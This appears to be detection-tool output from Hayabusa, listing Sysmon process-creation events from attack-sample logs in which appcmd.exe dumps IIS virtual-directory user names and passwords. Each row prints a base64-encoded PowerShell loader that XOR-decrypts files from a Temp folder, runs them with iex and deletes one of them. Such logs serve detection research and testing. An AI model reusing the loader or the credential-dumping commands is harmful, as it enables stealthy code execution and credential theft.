JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAcABhAHQAaABfAGkAbgBfAG0AbwBkAHUAbABlAD0AIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcABcADYAagByAHgAawAzAFwAZwBmAGcAOQBpACIAOwAkAHAAYQB0AGgAXwBpAG4AXwBhAHAAcABfAGMAbwBkAGUAPQAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwANgBqAHIAeABrADMAXABuAGoAYQA5AHQANgA0AHIAcgBsAHUAOAAiADsAJABrAGUAeQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAnADgAZAA5ADYAOQBlAGUAZgA2AGUAYwBhAGQAMwBjADIAOQBhADMAYQA2ADIAOQAyADgAMABlADYAOAA2AGMAZgAwAGMAMwBmADUAZAA1AGEAOAA2AGEAZgBmADMAYwBhADEAMgAwADIAMABjADkAMgAzAGEAZABjADYAYwA5ADIAJwApADsAJABlAG4AYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAHAAYQB0AGgAXwBpAG4AXwBtAG8AZAB1AGwAZQApADsAJABlAG4AYwBfAGEAcABwAF8AYwBvAGQAZQA9AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACkAOwAkAGQAZQBjAF8AbQBvAGQAdQBsAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AbQBvAGQAdQBsAGUALgBMAGUAbgBnAHQAaAA7ACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAA9ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAAtAGIAeABvAHIAIAAkAGsAZQB5AFsAJABpACAAJQAgACQAawBlAHkALgBMAGUAbgBnAHQAaABdADsAfQA7AGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQBbACQAaQBdACAAPQAgACQAZQBuAGMAXwBhAHAAcABfAGMAbwBkAGUAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAawBlAHkAWwAkAGkAIAAlACAAJABrAGUAeQAuAEwAZQBuAGcAdABoAF0AOwB9ADsAJABkAGUAYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAG0AbwBkAHUAbABlACkAOwAkAGQAZQBjAF8AYQBwAHAAXwBjAG8AZABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQApADsAJAAoACQAZABlAGMAXwBtAG8AZAB1AGwAZQArACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAKQB8AGkAZQB4ADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACAALQBGAG8AcgBjAGUAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA==",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:29:19.563 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\inetsrv\appcmd.exe"" list vdir ""Line Number: 0"" /text:userName : Path: C:\Windows\System32\inetsrv\appcmd.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -noni -enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAcABhAHQAaABfAGkAbgBfAG0AbwBkAHUAbABlAD0AIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcABcADYAagByAHgAawAzAFwAZwBmAGcAOQBpACIAOwAkAHAAYQB0AGgAXwBpAG4AXwBhAHAAcABfAGMAbwBkAGUAPQAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwANgBqAHIAeABrADMAXABuAGoAYQA5AHQANgA0AHIAcgBsAHUAOAAiADsAJABrAGUAeQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAnADgAZAA5ADYAOQBlAGUAZgA2AGUAYwBhAGQAMwBjADIAOQBhADMAYQA2ADIAOQAyADgAMABlADYAOAA2AGMAZgAwAGMAMwBmADUAZAA1AGEAOAA2AGEAZgBmADMAYwBhADEAMgAwADIAMABjADkAMgAzAGEAZABjADYAYwA5ADIAJwApADsAJABlAG4AYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAHAAYQB0AGgAXwBpAG4AXwBtAG8AZAB1AGwAZQApADsAJABlAG4AYwBfAGEAcABwAF8AYwBvAGQAZQA9AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACkAOwAkAGQAZQBjAF8AbQBvAGQAdQBsAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AbQBvAGQAdQBsAGUALgBMAGUAbgBnAHQAaAA7ACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAA9ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAAtAGIAeABvAHIAIAAkAGsAZQB5AFsAJABpACAAJQAgACQAawBlAHkALgBMAGUAbgBnAHQAaABdADsAfQA7AGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQBbACQAaQBdACAAPQAgACQAZQBuAGMAXwBhAHAAcABfAGMAbwBkAGUAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAawBlAHkAWwAkAGkAIAAlACAAJABrAGUAeQAuAEwAZQBuAGcAdABoAF0AOwB9ADsAJABkAGUAYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAG0AbwBkAHUAbABlACkAOwAkAGQAZQBjAF8AYQBwAHAAXwBjAG8AZABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQApADsAJAAoACQAZABlAGMAXwBtAG8AZAB1AGwAZQArACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAKQB8AGkAZQB4ADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACAALQBGAG8AcgBjAGUAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA==",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:29:19.784 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\inetsrv\appcmd.exe"" list vdir ""Line Number: 0"" /text:password : Path: C:\Windows\System32\inetsrv\appcmd.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -noni -enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAcABhAHQAaABfAGkAbgBfAG0AbwBkAHUAbABlAD0AIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcABcADYAagByAHgAawAzAFwAZwBmAGcAOQBpACIAOwAkAHAAYQB0AGgAXwBpAG4AXwBhAHAAcABfAGMAbwBkAGUAPQAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwANgBqAHIAeABrADMAXABuAGoAYQA5AHQANgA0AHIAcgBsAHUAOAAiADsAJABrAGUAeQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAnADgAZAA5ADYAOQBlAGUAZgA2AGUAYwBhAGQAMwBjADIAOQBhADMAYQA2ADIAOQAyADgAMABlADYAOAA2AGMAZgAwAGMAMwBmADUAZAA1AGEAOAA2AGEAZgBmADMAYwBhADEAMgAwADIAMABjADkAMgAzAGEAZABjADYAYwA5ADIAJwApADsAJABlAG4AYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAHAAYQB0AGgAXwBpAG4AXwBtAG8AZAB1AGwAZQApADsAJABlAG4AYwBfAGEAcABwAF8AYwBvAGQAZQA9AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACkAOwAkAGQAZQBjAF8AbQBvAGQAdQBsAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AbQBvAGQAdQBsAGUALgBMAGUAbgBnAHQAaAA7ACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAA9ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAAtAGIAeABvAHIAIAAkAGsAZQB5AFsAJABpACAAJQAgACQAawBlAHkALgBMAGUAbgBnAHQAaABdADsAfQA7AGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQBbACQAaQBdACAAPQAgACQAZQBuAGMAXwBhAHAAcABfAGMAbwBkAGUAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAawBlAHkAWwAkAGkAIAAlACAAJABrAGUAeQAuAEwAZQBuAGcAdABoAF0AOwB9ADsAJABkAGUAYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAG0AbwBkAHUAbABlACkAOwAkAGQAZQBjAF8AYQBwAHAAXwBjAG8AZABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQApADsAJAAoACQAZABlAGMAXwBtAG8AZAB1AGwAZQArACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAKQB8AGkAZQB4ADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACAALQBGAG8AcgBjAGUAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA==",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:29:19.894 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\inetsrv\appcmd.exe"" list vdir /text:userName : Path: C:\Windows\System32\inetsrv\appcmd.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -noni -enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAcABhAHQAaABfAGkAbgBfAG0AbwBkAHUAbABlAD0AIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcABcADYAagByAHgAawAzAFwAZwBmAGcAOQBpACIAOwAkAHAAYQB0AGgAXwBpAG4AXwBhAHAAcABfAGMAbwBkAGUAPQAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwANgBqAHIAeABrADMAXABuAGoAYQA5AHQANgA0AHIAcgBsAHUAOAAiADsAJABrAGUAeQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAnADgAZAA5ADYAOQBlAGUAZgA2AGUAYwBhAGQAMwBjADIAOQBhADMAYQA2ADIAOQAyADgAMABlADYAOAA2AGMAZgAwAGMAMwBmADUAZAA1AGEAOAA2AGEAZgBmADMAYwBhADEAMgAwADIAMABjADkAMgAzAGEAZABjADYAYwA5ADIAJwApADsAJABlAG4AYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAHAAYQB0AGgAXwBpAG4AXwBtAG8AZAB1AGwAZQApADsAJABlAG4AYwBfAGEAcABwAF8AYwBvAGQAZQA9AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACkAOwAkAGQAZQBjAF8AbQBvAGQAdQBsAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AbQBvAGQAdQBsAGUALgBMAGUAbgBnAHQAaAA7ACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAA9ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAAtAGIAeABvAHIAIAAkAGsAZQB5AFsAJABpACAAJQAgACQAawBlAHkALgBMAGUAbgBnAHQAaABdADsAfQA7AGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQBbACQAaQBdACAAPQAgACQAZQBuAGMAXwBhAHAAcABfAGMAbwBkAGUAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAawBlAHkAWwAkAGkAIAAlACAAJABrAGUAeQAuAEwAZQBuAGcAdABoAF0AOwB9ADsAJABkAGUAYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAG0AbwBkAHUAbABlACkAOwAkAGQAZQBjAF8AYQBwAHAAXwBjAG8AZABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQApADsAJAAoACQAZABlAGMAXwBtAG8AZAB1AGwAZQArACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAKQB8AGkAZQB4ADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACAALQBGAG8AcgBjAGUAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA==",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:29:19.964 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\inetsrv\appcmd.exe"" list vdir /text:password : Path: C:\Windows\System32\inetsrv\appcmd.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -noni -enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAcABhAHQAaABfAGkAbgBfAG0AbwBkAHUAbABlAD0AIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcABcADYAagByAHgAawAzAFwAZwBmAGcAOQBpACIAOwAkAHAAYQB0AGgAXwBpAG4AXwBhAHAAcABfAGMAbwBkAGUAPQAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwANgBqAHIAeABrADMAXABuAGoAYQA5AHQANgA0AHIAcgBsAHUAOAAiADsAJABrAGUAeQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAnADgAZAA5ADYAOQBlAGUAZgA2AGUAYwBhAGQAMwBjADIAOQBhADMAYQA2ADIAOQAyADgAMABlADYAOAA2AGMAZgAwAGMAMwBmADUAZAA1AGEAOAA2AGEAZgBmADMAYwBhADEAMgAwADIAMABjADkAMgAzAGEAZABjADYAYwA5ADIAJwApADsAJABlAG4AYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAHAAYQB0AGgAXwBpAG4AXwBtAG8AZAB1AGwAZQApADsAJABlAG4AYwBfAGEAcABwAF8AYwBvAGQAZQA9AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACkAOwAkAGQAZQBjAF8AbQBvAGQAdQBsAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AbQBvAGQAdQBsAGUALgBMAGUAbgBnAHQAaAA7ACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAA9ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAAtAGIAeABvAHIAIAAkAGsAZQB5AFsAJABpACAAJQAgACQAawBlAHkALgBMAGUAbgBnAHQAaABdADsAfQA7AGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQBbACQAaQBdACAAPQAgACQAZQBuAGMAXwBhAHAAcABfAGMAbwBkAGUAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAawBlAHkAWwAkAGkAIAAlACAAJABrAGUAeQAuAEwAZQBuAGcAdABoAF0AOwB9ADsAJABkAGUAYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAG0AbwBkAHUAbABlACkAOwAkAGQAZQBjAF8AYQBwAHAAXwBjAG8AZABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQApADsAJAAoACQAZABlAGMAXwBtAG8AZAB1AGwAZQArACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAKQB8AGkAZQB4ADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACAALQBGAG8AcgBjAGUAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA==",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:29:20.034 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\inetsrv\appcmd.exe"" list vdir ""Description: Cannot read configuration file due to insufficient permissions"" /text:userName : Path: C:\Windows\System32\inetsrv\appcmd.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -noni -enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAcABhAHQAaABfAGkAbgBfAG0AbwBkAHUAbABlAD0AIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcABcADYAagByAHgAawAzAFwAZwBmAGcAOQBpACIAOwAkAHAAYQB0AGgAXwBpAG4AXwBhAHAAcABfAGMAbwBkAGUAPQAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwANgBqAHIAeABrADMAXABuAGoAYQA5AHQANgA0AHIAcgBsAHUAOAAiADsAJABrAGUAeQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAnADgAZAA5ADYAOQBlAGUAZgA2AGUAYwBhAGQAMwBjADIAOQBhADMAYQA2ADIAOQAyADgAMABlADYAOAA2AGMAZgAwAGMAMwBmADUAZAA1AGEAOAA2AGEAZgBmADMAYwBhADEAMgAwADIAMABjADkAMgAzAGEAZABjADYAYwA5ADIAJwApADsAJABlAG4AYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAHAAYQB0AGgAXwBpAG4AXwBtAG8AZAB1AGwAZQApADsAJABlAG4AYwBfAGEAcABwAF8AYwBvAGQAZQA9AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACkAOwAkAGQAZQBjAF8AbQBvAGQAdQBsAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AbQBvAGQAdQBsAGUALgBMAGUAbgBnAHQAaAA7ACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAA9ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAAtAGIAeABvAHIAIAAkAGsAZQB5AFsAJABpACAAJQAgACQAawBlAHkALgBMAGUAbgBnAHQAaABdADsAfQA7AGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQBbACQAaQBdACAAPQAgACQAZQBuAGMAXwBhAHAAcABfAGMAbwBkAGUAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAawBlAHkAWwAkAGkAIAAlACAAJABrAGUAeQAuAEwAZQBuAGcAdABoAF0AOwB9ADsAJABkAGUAYwBfAG0AbwBkAHUAbABlA